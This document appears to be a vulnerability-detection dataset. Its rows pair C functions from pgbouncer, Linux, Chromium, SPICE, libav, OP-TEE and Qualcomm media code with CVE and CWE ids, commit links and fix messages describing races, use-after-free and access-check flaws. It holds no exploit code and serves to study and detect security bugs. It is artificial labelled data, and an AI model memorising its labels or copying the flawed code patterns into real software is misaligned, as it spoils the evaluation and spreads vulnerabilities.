if (!client->query_start) {
client->pool->stats.request_count++;
client->query_start = get_cached_time();
}
if (client->pool->db->admin)
return admin_handle_client(client, pkt);
/* acquire server */
if (!find_server(client))
return false;
client->pool->stats.client_bytes += pkt->len;
/* tag the server as dirty */
client->link->ready = false;
client->link->idle_tx = false;
/* forward the packet */
sbuf_prepare_send(sbuf, &client->link->sbuf, pkt->len);
return true;
}
|
C
|
pgbouncer
| 0 |
CVE-2014-4652
|
https://www.cvedetails.com/cve/CVE-2014-4652/
|
CWE-362
|
https://github.com/torvalds/linux/commit/07f4d9d74a04aa7c72c5dae0ef97565f28f17b92
|
07f4d9d74a04aa7c72c5dae0ef97565f28f17b92
|
ALSA: control: Protect user controls against concurrent access
The user-control put and get handlers as well as the tlv do not protect against
concurrent access from multiple threads. Since the state of the control is not
updated atomically it is possible that either two write operations or a write
and a read operation race against each other. Both can lead to arbitrary memory
disclosure. This patch introduces a new lock that protects user-controls from
concurrent access. Since applications typically access controls sequentially
than in parallel a single lock per card should be fine.
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Acked-by: Jaroslav Kysela <perex@perex.cz>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
|
static int check_empty_slot(struct module *module, int slot)
{
return !slots[slot] || !*slots[slot];
}
|
static int check_empty_slot(struct module *module, int slot)
{
return !slots[slot] || !*slots[slot];
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/b9e2ecab97a8a7f3cce06951ab92a3eaef559206
|
b9e2ecab97a8a7f3cce06951ab92a3eaef559206
|
Do not discount a MANUAL_SUBFRAME load just because it involved
some redirects.
R=brettw
BUG=21353
TEST=none
Review URL: http://codereview.chromium.org/246073
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@27887 0039d316-1c4b-4281-b951-d872f2087c98
|
void WebFrameLoaderClient::dispatchDidFailLoading(DocumentLoader* loader,
unsigned long identifier,
const ResourceError& error) {
if (webframe_->client()) {
webframe_->client()->didFailResourceLoad(
webframe_, identifier, webkit_glue::ResourceErrorToWebURLError(error));
}
}
|
void WebFrameLoaderClient::dispatchDidFailLoading(DocumentLoader* loader,
unsigned long identifier,
const ResourceError& error) {
if (webframe_->client()) {
webframe_->client()->didFailResourceLoad(
webframe_, identifier, webkit_glue::ResourceErrorToWebURLError(error));
}
}
|
C
|
Chrome
| 0 |
CVE-2012-2880
|
https://www.cvedetails.com/cve/CVE-2012-2880/
|
CWE-362
|
https://github.com/chromium/chromium/commit/fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
|
fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
|
[Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
|
void GetSanitizedEnabledFlags(
PrefService* prefs, std::set<std::string>* result) {
SanitizeList(prefs);
GetEnabledFlags(prefs, result);
}
|
void GetSanitizedEnabledFlags(
PrefService* prefs, std::set<std::string>* result) {
SanitizeList(prefs);
GetEnabledFlags(prefs, result);
}
|
C
|
Chrome
| 0 |
CVE-2013-0920
|
https://www.cvedetails.com/cve/CVE-2013-0920/
|
CWE-399
|
https://github.com/chromium/chromium/commit/12baa2097220e33c12b60aa5e6da6701637761bf
|
12baa2097220e33c12b60aa5e6da6701637761bf
|
Fix heap-use-after-free in BookmarksIOFunction::ShowSelectFileDialog.
BUG=177410
Review URL: https://chromiumcodereview.appspot.com/12326086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@184586 0039d316-1c4b-4281-b951-d872f2087c98
|
void BookmarksCreateFunction::GetQuotaLimitHeuristics(
QuotaLimitHeuristics* heuristics) const {
BookmarksQuotaLimitFactory::BuildForCreate(heuristics, profile());
}
|
void BookmarksCreateFunction::GetQuotaLimitHeuristics(
QuotaLimitHeuristics* heuristics) const {
BookmarksQuotaLimitFactory::BuildForCreate(heuristics, profile());
}
|
C
|
Chrome
| 0 |
CVE-2013-4282
|
https://www.cvedetails.com/cve/CVE-2013-4282/
|
CWE-119
|
https://cgit.freedesktop.org/spice/spice/commit/?id=8af619009660b24e0b41ad26b30289eea288fcc2
|
8af619009660b24e0b41ad26b30289eea288fcc2
| null |
static void reds_mig_target_client_disconnect_all(void)
{
RingItem *now, *next;
RING_FOREACH_SAFE(now, next, &reds->mig_target_clients) {
RedsMigTargetClient *mig_client = SPICE_CONTAINEROF(now, RedsMigTargetClient, link);
reds_client_disconnect(mig_client->client);
}
}
|
static void reds_mig_target_client_disconnect_all(void)
{
RingItem *now, *next;
RING_FOREACH_SAFE(now, next, &reds->mig_target_clients) {
RedsMigTargetClient *mig_client = SPICE_CONTAINEROF(now, RedsMigTargetClient, link);
reds_client_disconnect(mig_client->client);
}
}
|
C
|
spice
| 0 |
CVE-2012-2900
|
https://www.cvedetails.com/cve/CVE-2012-2900/
| null |
https://github.com/chromium/chromium/commit/9597042cad54926f50d58f5ada39205eb734d7be
|
9597042cad54926f50d58f5ada39205eb734d7be
|
Revert 137988 - VAVDA is the hardware video decode accelerator for Chrome on Linux and ChromeOS for Intel CPUs (Sandy Bridge and newer).
This CL enables VAVDA acceleration for ChromeOS, both for HTML5 video and Flash.
The feature is currently hidden behind a command line flag and can be enabled by adding the --enable-vaapi parameter to command line.
BUG=117062
TEST=Manual runs of test streams.
Change-Id: I386e16739e2ef2230f52a0a434971b33d8654699
Review URL: https://chromiumcodereview.appspot.com/9814001
This is causing crbug.com/129103
TBR=posciak@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10411066
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@138208 0039d316-1c4b-4281-b951-d872f2087c98
|
void GpuProcessHost::OnAcceleratedSurfaceRelease(
const GpuHostMsg_AcceleratedSurfaceRelease_Params& params) {
TRACE_EVENT0("gpu", "GpuProcessHost::OnAcceleratedSurfaceRelease");
gfx::PluginWindowHandle handle =
GpuSurfaceTracker::Get()->GetSurfaceWindowHandle(params.surface_id);
if (!handle)
return;
scoped_refptr<AcceleratedPresenter> presenter(
AcceleratedPresenter::GetForWindow(handle));
if (!presenter)
return;
presenter->ReleaseSurface();
}
|
void GpuProcessHost::OnAcceleratedSurfaceRelease(
const GpuHostMsg_AcceleratedSurfaceRelease_Params& params) {
TRACE_EVENT0("gpu", "GpuProcessHost::OnAcceleratedSurfaceRelease");
gfx::PluginWindowHandle handle =
GpuSurfaceTracker::Get()->GetSurfaceWindowHandle(params.surface_id);
if (!handle)
return;
scoped_refptr<AcceleratedPresenter> presenter(
AcceleratedPresenter::GetForWindow(handle));
if (!presenter)
return;
presenter->ReleaseSurface();
}
|
C
|
Chrome
| 0 |
CVE-2016-7424
|
https://www.cvedetails.com/cve/CVE-2016-7424/
|
CWE-476
|
https://git.libav.org/?p=libav.git;a=commit;h=136f55207521f0b03194ef5b55ba70f1635d6aee
|
136f55207521f0b03194ef5b55ba70f1635d6aee
| null |
static void gmc1_motion(MpegEncContext *s,
uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr,
uint8_t **ref_picture)
{
uint8_t *ptr;
int src_x, src_y, motion_x, motion_y;
ptrdiff_t offset, linesize, uvlinesize;
int emu = 0;
motion_x = s->sprite_offset[0][0];
motion_y = s->sprite_offset[0][1];
src_x = s->mb_x * 16 + (motion_x >> (s->sprite_warping_accuracy + 1));
src_y = s->mb_y * 16 + (motion_y >> (s->sprite_warping_accuracy + 1));
motion_x <<= (3 - s->sprite_warping_accuracy);
motion_y <<= (3 - s->sprite_warping_accuracy);
src_x = av_clip(src_x, -16, s->width);
if (src_x == s->width)
motion_x = 0;
src_y = av_clip(src_y, -16, s->height);
if (src_y == s->height)
motion_y = 0;
linesize = s->linesize;
uvlinesize = s->uvlinesize;
ptr = ref_picture[0] + src_y * linesize + src_x;
if ((unsigned)src_x >= FFMAX(s->h_edge_pos - 17, 0) ||
(unsigned)src_y >= FFMAX(s->v_edge_pos - 17, 0)) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
linesize, linesize,
17, 17,
src_x, src_y,
s->h_edge_pos, s->v_edge_pos);
ptr = s->sc.edge_emu_buffer;
}
if ((motion_x | motion_y) & 7) {
s->mdsp.gmc1(dest_y, ptr, linesize, 16,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
s->mdsp.gmc1(dest_y + 8, ptr + 8, linesize, 16,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
} else {
int dxy;
dxy = ((motion_x >> 3) & 1) | ((motion_y >> 2) & 2);
if (s->no_rounding) {
s->hdsp.put_no_rnd_pixels_tab[0][dxy](dest_y, ptr, linesize, 16);
} else {
s->hdsp.put_pixels_tab[0][dxy](dest_y, ptr, linesize, 16);
}
}
if (CONFIG_GRAY && s->avctx->flags & AV_CODEC_FLAG_GRAY)
return;
motion_x = s->sprite_offset[1][0];
motion_y = s->sprite_offset[1][1];
src_x = s->mb_x * 8 + (motion_x >> (s->sprite_warping_accuracy + 1));
src_y = s->mb_y * 8 + (motion_y >> (s->sprite_warping_accuracy + 1));
motion_x <<= (3 - s->sprite_warping_accuracy);
motion_y <<= (3 - s->sprite_warping_accuracy);
src_x = av_clip(src_x, -8, s->width >> 1);
if (src_x == s->width >> 1)
motion_x = 0;
src_y = av_clip(src_y, -8, s->height >> 1);
if (src_y == s->height >> 1)
motion_y = 0;
offset = (src_y * uvlinesize) + src_x;
ptr = ref_picture[1] + offset;
if ((unsigned)src_x >= FFMAX((s->h_edge_pos >> 1) - 9, 0) ||
(unsigned)src_y >= FFMAX((s->v_edge_pos >> 1) - 9, 0)) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
uvlinesize, uvlinesize,
9, 9,
src_x, src_y,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
ptr = s->sc.edge_emu_buffer;
emu = 1;
}
s->mdsp.gmc1(dest_cb, ptr, uvlinesize, 8,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
ptr = ref_picture[2] + offset;
if (emu) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
uvlinesize, uvlinesize,
9, 9,
src_x, src_y,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
ptr = s->sc.edge_emu_buffer;
}
s->mdsp.gmc1(dest_cr, ptr, uvlinesize, 8,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
}
|
static void gmc1_motion(MpegEncContext *s,
uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr,
uint8_t **ref_picture)
{
uint8_t *ptr;
int src_x, src_y, motion_x, motion_y;
ptrdiff_t offset, linesize, uvlinesize;
int emu = 0;
motion_x = s->sprite_offset[0][0];
motion_y = s->sprite_offset[0][1];
src_x = s->mb_x * 16 + (motion_x >> (s->sprite_warping_accuracy + 1));
src_y = s->mb_y * 16 + (motion_y >> (s->sprite_warping_accuracy + 1));
motion_x <<= (3 - s->sprite_warping_accuracy);
motion_y <<= (3 - s->sprite_warping_accuracy);
src_x = av_clip(src_x, -16, s->width);
if (src_x == s->width)
motion_x = 0;
src_y = av_clip(src_y, -16, s->height);
if (src_y == s->height)
motion_y = 0;
linesize = s->linesize;
uvlinesize = s->uvlinesize;
ptr = ref_picture[0] + src_y * linesize + src_x;
if ((unsigned)src_x >= FFMAX(s->h_edge_pos - 17, 0) ||
(unsigned)src_y >= FFMAX(s->v_edge_pos - 17, 0)) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
linesize, linesize,
17, 17,
src_x, src_y,
s->h_edge_pos, s->v_edge_pos);
ptr = s->sc.edge_emu_buffer;
}
if ((motion_x | motion_y) & 7) {
s->mdsp.gmc1(dest_y, ptr, linesize, 16,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
s->mdsp.gmc1(dest_y + 8, ptr + 8, linesize, 16,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
} else {
int dxy;
dxy = ((motion_x >> 3) & 1) | ((motion_y >> 2) & 2);
if (s->no_rounding) {
s->hdsp.put_no_rnd_pixels_tab[0][dxy](dest_y, ptr, linesize, 16);
} else {
s->hdsp.put_pixels_tab[0][dxy](dest_y, ptr, linesize, 16);
}
}
if (CONFIG_GRAY && s->avctx->flags & AV_CODEC_FLAG_GRAY)
return;
motion_x = s->sprite_offset[1][0];
motion_y = s->sprite_offset[1][1];
src_x = s->mb_x * 8 + (motion_x >> (s->sprite_warping_accuracy + 1));
src_y = s->mb_y * 8 + (motion_y >> (s->sprite_warping_accuracy + 1));
motion_x <<= (3 - s->sprite_warping_accuracy);
motion_y <<= (3 - s->sprite_warping_accuracy);
src_x = av_clip(src_x, -8, s->width >> 1);
if (src_x == s->width >> 1)
motion_x = 0;
src_y = av_clip(src_y, -8, s->height >> 1);
if (src_y == s->height >> 1)
motion_y = 0;
offset = (src_y * uvlinesize) + src_x;
ptr = ref_picture[1] + offset;
if ((unsigned)src_x >= FFMAX((s->h_edge_pos >> 1) - 9, 0) ||
(unsigned)src_y >= FFMAX((s->v_edge_pos >> 1) - 9, 0)) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
uvlinesize, uvlinesize,
9, 9,
src_x, src_y,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
ptr = s->sc.edge_emu_buffer;
emu = 1;
}
s->mdsp.gmc1(dest_cb, ptr, uvlinesize, 8,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
ptr = ref_picture[2] + offset;
if (emu) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
uvlinesize, uvlinesize,
9, 9,
src_x, src_y,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
ptr = s->sc.edge_emu_buffer;
}
s->mdsp.gmc1(dest_cr, ptr, uvlinesize, 8,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
}
|
C
|
libav
| 0 |
CVE-2017-5120
|
https://www.cvedetails.com/cve/CVE-2017-5120/
| null |
https://github.com/chromium/chromium/commit/b7277af490d28ac7f802c015bb0ff31395768556
|
b7277af490d28ac7f802c015bb0ff31395768556
|
bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <peria@chromium.org>
Commit-Queue: Yuki Shiino <yukishiino@chromium.org>
Cr-Commit-Position: refs/heads/master@{#718676}
|
static void SetterRaisesExceptionLongAttributeAttributeSetter(
v8::Local<v8::Value> v8_value, const v8::FunctionCallbackInfo<v8::Value>& info) {
v8::Isolate* isolate = info.GetIsolate();
ALLOW_UNUSED_LOCAL(isolate);
v8::Local<v8::Object> holder = info.Holder();
ALLOW_UNUSED_LOCAL(holder);
TestObject* impl = V8TestObject::ToImpl(holder);
ExceptionState exception_state(isolate, ExceptionState::kSetterContext, "TestObject", "setterRaisesExceptionLongAttribute");
int32_t cpp_value = NativeValueTraits<IDLLong>::NativeValue(info.GetIsolate(), v8_value, exception_state);
if (exception_state.HadException())
return;
impl->setSetterRaisesExceptionLongAttribute(cpp_value, exception_state);
}
|
static void SetterRaisesExceptionLongAttributeAttributeSetter(
v8::Local<v8::Value> v8_value, const v8::FunctionCallbackInfo<v8::Value>& info) {
v8::Isolate* isolate = info.GetIsolate();
ALLOW_UNUSED_LOCAL(isolate);
v8::Local<v8::Object> holder = info.Holder();
ALLOW_UNUSED_LOCAL(holder);
TestObject* impl = V8TestObject::ToImpl(holder);
ExceptionState exception_state(isolate, ExceptionState::kSetterContext, "TestObject", "setterRaisesExceptionLongAttribute");
int32_t cpp_value = NativeValueTraits<IDLLong>::NativeValue(info.GetIsolate(), v8_value, exception_state);
if (exception_state.HadException())
return;
impl->setSetterRaisesExceptionLongAttribute(cpp_value, exception_state);
}
|
C
|
Chrome
| 0 |
CVE-2019-1010293
|
https://www.cvedetails.com/cve/CVE-2019-1010293/
|
CWE-20
|
https://github.com/OP-TEE/optee_os/commit/95f36d661f2b75887772ea28baaad904bde96970
|
95f36d661f2b75887772ea28baaad904bde96970
|
core: tee_mmu_check_access_rights() check all pages
Prior to this patch tee_mmu_check_access_rights() checks an address in
each page of a supplied range. If both the start and length of that
range is unaligned the last page in the range is sometimes not checked.
With this patch the first address of each page in the range is checked
to simplify the logic of checking each page and the range and also to
cover the last page under all circumstances.
Fixes: OP-TEE-2018-0005: "tee_mmu_check_access_rights does not check
final page of TA buffer"
Signed-off-by: Jens Wiklander <jens.wiklander@linaro.org>
Tested-by: Joakim Bech <joakim.bech@linaro.org> (QEMU v7, v8)
Reviewed-by: Joakim Bech <joakim.bech@linaro.org>
Reported-by: Riscure <inforequest@riscure.com>
Reported-by: Alyssa Milburn <a.a.milburn@vu.nl>
Acked-by: Etienne Carriere <etienne.carriere@linaro.org>
|
TEE_Result vm_set_prot(struct user_ta_ctx *utc, vaddr_t va, size_t len,
uint32_t prot)
{
struct vm_region *r;
/*
* To keep thing simple: specified va and len has to match exactly
* with an already registered region.
*/
TAILQ_FOREACH(r, &utc->vm_info->regions, link) {
if (core_is_buffer_intersect(r->va, r->size, va, len)) {
if (r->va != va || r->size != len)
return TEE_ERROR_BAD_PARAMETERS;
if (mobj_is_paged(r->mobj)) {
if (!tee_pager_set_uta_area_attr(utc, va, len,
prot))
return TEE_ERROR_GENERIC;
} else if ((prot & TEE_MATTR_UX) &&
(r->attr & (TEE_MATTR_UW | TEE_MATTR_PW))) {
cache_op_inner(DCACHE_AREA_CLEAN,
(void *)va, len);
cache_op_inner(ICACHE_AREA_INVALIDATE,
(void *)va, len);
}
r->attr &= ~TEE_MATTR_PROT_MASK;
r->attr |= prot & TEE_MATTR_PROT_MASK;
return TEE_SUCCESS;
}
}
return TEE_ERROR_ITEM_NOT_FOUND;
}
|
TEE_Result vm_set_prot(struct user_ta_ctx *utc, vaddr_t va, size_t len,
uint32_t prot)
{
struct vm_region *r;
/*
* To keep thing simple: specified va and len has to match exactly
* with an already registered region.
*/
TAILQ_FOREACH(r, &utc->vm_info->regions, link) {
if (core_is_buffer_intersect(r->va, r->size, va, len)) {
if (r->va != va || r->size != len)
return TEE_ERROR_BAD_PARAMETERS;
if (mobj_is_paged(r->mobj)) {
if (!tee_pager_set_uta_area_attr(utc, va, len,
prot))
return TEE_ERROR_GENERIC;
} else if ((prot & TEE_MATTR_UX) &&
(r->attr & (TEE_MATTR_UW | TEE_MATTR_PW))) {
cache_op_inner(DCACHE_AREA_CLEAN,
(void *)va, len);
cache_op_inner(ICACHE_AREA_INVALIDATE,
(void *)va, len);
}
r->attr &= ~TEE_MATTR_PROT_MASK;
r->attr |= prot & TEE_MATTR_PROT_MASK;
return TEE_SUCCESS;
}
}
return TEE_ERROR_ITEM_NOT_FOUND;
}
|
C
|
optee_os
| 0 |
CVE-2016-5218
|
https://www.cvedetails.com/cve/CVE-2016-5218/
|
CWE-20
|
https://github.com/chromium/chromium/commit/45d901b56f578a74b19ba0d10fa5c4c467f19303
|
45d901b56f578a74b19ba0d10fa5c4c467f19303
|
Paint tab groups with the group color.
* The background of TabGroupHeader now uses the group color.
* The backgrounds of tabs in the group are tinted with the group color.
This treatment, along with the colors chosen, are intended to be
a placeholder.
Bug: 905491
Change-Id: Ic808548f8eba23064606e7fb8c9bba281d0d117f
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1610504
Commit-Queue: Bret Sepulveda <bsep@chromium.org>
Reviewed-by: Taylor Bergquist <tbergquist@chromium.org>
Cr-Commit-Position: refs/heads/master@{#660498}
|
static views::Label* GetTabTitle(const Tab& tab) { return tab.title_; }
|
static views::Label* GetTabTitle(const Tab& tab) { return tab.title_; }
|
C
|
Chrome
| 0 |
CVE-2016-1678
|
https://www.cvedetails.com/cve/CVE-2016-1678/
|
CWE-119
|
https://github.com/chromium/chromium/commit/1f5ad409dbf5334523931df37598ea49e9849c87
|
1f5ad409dbf5334523931df37598ea49e9849c87
|
Allow origin lock for WebUI pages.
Returning true for WebUI pages in DoesSiteRequireDedicatedProcess helps
to keep enforcing a SiteInstance swap during chrome://foo ->
chrome://bar navigation, even after relaxing
BrowsingInstance::GetSiteInstanceForURL to consider RPH::IsSuitableHost
(see https://crrev.com/c/783470 for that fixes process sharing in
isolated(b(c),d(c)) scenario).
I've manually tested this CL by visiting the following URLs:
- chrome://welcome/
- chrome://settings
- chrome://extensions
- chrome://history
- chrome://help and chrome://chrome (both redirect to chrome://settings/help)
Bug: 510588, 847127
Change-Id: I55073bce00f32cb8bc5c1c91034438ff9a3f8971
Reviewed-on: https://chromium-review.googlesource.com/1237392
Commit-Queue: Łukasz Anforowicz <lukasza@chromium.org>
Reviewed-by: François Doray <fdoray@chromium.org>
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#595259}
|
ChromeRenderProcessHostBackgroundingTestWithAudio() {}
|
ChromeRenderProcessHostBackgroundingTestWithAudio() {}
|
C
|
Chrome
| 0 |
CVE-2016-3746
|
https://www.cvedetails.com/cve/CVE-2016-3746/
| null |
https://android.googlesource.com/platform/hardware/qcom/media/+/5b82f4f90c3d531313714df4b936f92fb0ff15cf
|
5b82f4f90c3d531313714df4b936f92fb0ff15cf
|
DO NOT MERGE mm-video-v4l2: vdec: Avoid processing ETBs/FTBs in invalid states
(per the spec) ETB/FTB should not be handled in states other than
Executing, Paused and Idle. This avoids accessing invalid buffers.
Also add a lock to protect the private-buffers from being deleted
while accessing from another thread.
Bug: 27890802
Security Vulnerability - Heap Use-After-Free and Possible LPE in
MediaServer (libOmxVdec problem #6)
CRs-Fixed: 1008882
Change-Id: Iaac2e383cd53cf9cf8042c9ed93ddc76dba3907e
|
OMX_ERRORTYPE omx_vdec::allocate_color_convert_buf::cache_ops(
unsigned int index, unsigned int cmd)
{
if (!enabled) {
return OMX_ErrorNone;
}
if (!omx || index >= omx->drv_ctx.op_buf.actualcount) {
DEBUG_PRINT_ERROR("%s: Invalid param", __func__);
return OMX_ErrorBadParameter;
}
struct ion_flush_data flush_data;
struct ion_custom_data custom_data;
memset(&flush_data, 0x0, sizeof(flush_data));
memset(&custom_data, 0x0, sizeof(custom_data));
flush_data.vaddr = pmem_baseaddress[index];
flush_data.fd = op_buf_ion_info[index].fd_ion_data.fd;
flush_data.handle = op_buf_ion_info[index].fd_ion_data.handle;
flush_data.length = buffer_size_req;
custom_data.cmd = cmd;
custom_data.arg = (unsigned long)&flush_data;
DEBUG_PRINT_LOW("Cache %s: fd=%d handle=%d va=%p size=%d",
(cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate",
flush_data.fd, flush_data.handle, flush_data.vaddr,
flush_data.length);
int ret = ioctl(op_buf_ion_info[index].ion_device_fd, ION_IOC_CUSTOM, &custom_data);
if (ret < 0) {
DEBUG_PRINT_ERROR("Cache %s failed: %s\n",
(cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate",
strerror(errno));
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
|
OMX_ERRORTYPE omx_vdec::allocate_color_convert_buf::cache_ops(
unsigned int index, unsigned int cmd)
{
if (!enabled) {
return OMX_ErrorNone;
}
if (!omx || index >= omx->drv_ctx.op_buf.actualcount) {
DEBUG_PRINT_ERROR("%s: Invalid param", __func__);
return OMX_ErrorBadParameter;
}
struct ion_flush_data flush_data;
struct ion_custom_data custom_data;
memset(&flush_data, 0x0, sizeof(flush_data));
memset(&custom_data, 0x0, sizeof(custom_data));
flush_data.vaddr = pmem_baseaddress[index];
flush_data.fd = op_buf_ion_info[index].fd_ion_data.fd;
flush_data.handle = op_buf_ion_info[index].fd_ion_data.handle;
flush_data.length = buffer_size_req;
custom_data.cmd = cmd;
custom_data.arg = (unsigned long)&flush_data;
DEBUG_PRINT_LOW("Cache %s: fd=%d handle=%d va=%p size=%d",
(cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate",
flush_data.fd, flush_data.handle, flush_data.vaddr,
flush_data.length);
int ret = ioctl(op_buf_ion_info[index].ion_device_fd, ION_IOC_CUSTOM, &custom_data);
if (ret < 0) {
DEBUG_PRINT_ERROR("Cache %s failed: %s\n",
(cmd == ION_IOC_CLEAN_CACHES) ? "Clean" : "Invalidate",
strerror(errno));
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
|
C
|
Android
| 0 |
CVE-2011-1019
|
https://www.cvedetails.com/cve/CVE-2011-1019/
|
CWE-264
|
https://github.com/torvalds/linux/commit/8909c9ad8ff03611c9c96c9a92656213e4bb495b
|
8909c9ad8ff03611c9c96c9a92656213e4bb495b
|
net: don't allow CAP_NET_ADMIN to load non-netdev kernel modules
Since a8f80e8ff94ecba629542d9b4b5f5a8ee3eb565c any process with
CAP_NET_ADMIN may load any module from /lib/modules/. This doesn't mean
that CAP_NET_ADMIN is a superset of CAP_SYS_MODULE as modules are
limited to /lib/modules/**. However, CAP_NET_ADMIN capability shouldn't
allow anybody load any module not related to networking.
This patch restricts an ability of autoloading modules to netdev modules
with explicit aliases. This fixes CVE-2011-1019.
Arnd Bergmann suggested to leave untouched the old pre-v2.6.32 behavior
of loading netdev modules by name (without any prefix) for processes
with CAP_SYS_MODULE to maintain the compatibility with network scripts
that use autoloading netdev modules by aliases like "eth0", "wlan0".
Currently there are only three users of the feature in the upstream
kernel: ipip, ip_gre and sit.
root@albatros:~# capsh --drop=$(seq -s, 0 11),$(seq -s, 13 34) --
root@albatros:~# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: fffffff800001000
CapEff: fffffff800001000
CapBnd: fffffff800001000
root@albatros:~# modprobe xfs
FATAL: Error inserting xfs
(/lib/modules/2.6.38-rc6-00001-g2bf4ca3/kernel/fs/xfs/xfs.ko): Operation not permitted
root@albatros:~# lsmod | grep xfs
root@albatros:~# ifconfig xfs
xfs: error fetching interface information: Device not found
root@albatros:~# lsmod | grep xfs
root@albatros:~# lsmod | grep sit
root@albatros:~# ifconfig sit
sit: error fetching interface information: Device not found
root@albatros:~# lsmod | grep sit
root@albatros:~# ifconfig sit0
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
root@albatros:~# lsmod | grep sit
sit 10457 0
tunnel4 2957 1 sit
For CAP_SYS_MODULE module loading is still relaxed:
root@albatros:~# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff
root@albatros:~# ifconfig xfs
xfs: error fetching interface information: Device not found
root@albatros:~# lsmod | grep xfs
xfs 745319 0
Reference: https://lkml.org/lkml/2011/2/24/203
Signed-off-by: Vasiliy Kulikov <segoon@openwall.com>
Signed-off-by: Michael Tokarev <mjt@tls.msk.ru>
Acked-by: David S. Miller <davem@davemloft.net>
Acked-by: Kees Cook <kees.cook@canonical.com>
Signed-off-by: James Morris <jmorris@namei.org>
|
static struct net_device_stats *ipip6_get_stats(struct net_device *dev)
{
struct pcpu_tstats sum = { 0 };
int i;
for_each_possible_cpu(i) {
const struct pcpu_tstats *tstats = per_cpu_ptr(dev->tstats, i);
sum.rx_packets += tstats->rx_packets;
sum.rx_bytes += tstats->rx_bytes;
sum.tx_packets += tstats->tx_packets;
sum.tx_bytes += tstats->tx_bytes;
}
dev->stats.rx_packets = sum.rx_packets;
dev->stats.rx_bytes = sum.rx_bytes;
dev->stats.tx_packets = sum.tx_packets;
dev->stats.tx_bytes = sum.tx_bytes;
return &dev->stats;
}
|
static struct net_device_stats *ipip6_get_stats(struct net_device *dev)
{
struct pcpu_tstats sum = { 0 };
int i;
for_each_possible_cpu(i) {
const struct pcpu_tstats *tstats = per_cpu_ptr(dev->tstats, i);
sum.rx_packets += tstats->rx_packets;
sum.rx_bytes += tstats->rx_bytes;
sum.tx_packets += tstats->tx_packets;
sum.tx_bytes += tstats->tx_bytes;
}
dev->stats.rx_packets = sum.rx_packets;
dev->stats.rx_bytes = sum.rx_bytes;
dev->stats.tx_packets = sum.tx_packets;
dev->stats.tx_bytes = sum.tx_bytes;
return &dev->stats;
}
|
C
|
linux
| 0 |
CVE-2015-8963
|
https://www.cvedetails.com/cve/CVE-2015-8963/
|
CWE-416
|
https://github.com/torvalds/linux/commit/12ca6ad2e3a896256f086497a7c7406a547ee373
|
12ca6ad2e3a896256f086497a7c7406a547ee373
|
perf: Fix race in swevent hash
There's a race on CPU unplug where we free the swevent hash array
while it can still have events on. This will result in a
use-after-free which is BAD.
Simply do not free the hash array on unplug. This leaves the thing
around and no use-after-free takes place.
When the last swevent dies, we do a for_each_possible_cpu() iteration
anyway to clean these up, at which time we'll free it, so no leakage
will occur.
Reported-by: Sasha Levin <sasha.levin@oracle.com>
Tested-by: Sasha Levin <sasha.levin@oracle.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: Arnaldo Carvalho de Melo <acme@redhat.com>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jiri Olsa <jolsa@redhat.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Stephane Eranian <eranian@google.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Vince Weaver <vincent.weaver@maine.edu>
Signed-off-by: Ingo Molnar <mingo@kernel.org>
|
static long _perf_ioctl(struct perf_event *event, unsigned int cmd, unsigned long arg)
{
void (*func)(struct perf_event *);
u32 flags = arg;
switch (cmd) {
case PERF_EVENT_IOC_ENABLE:
func = _perf_event_enable;
break;
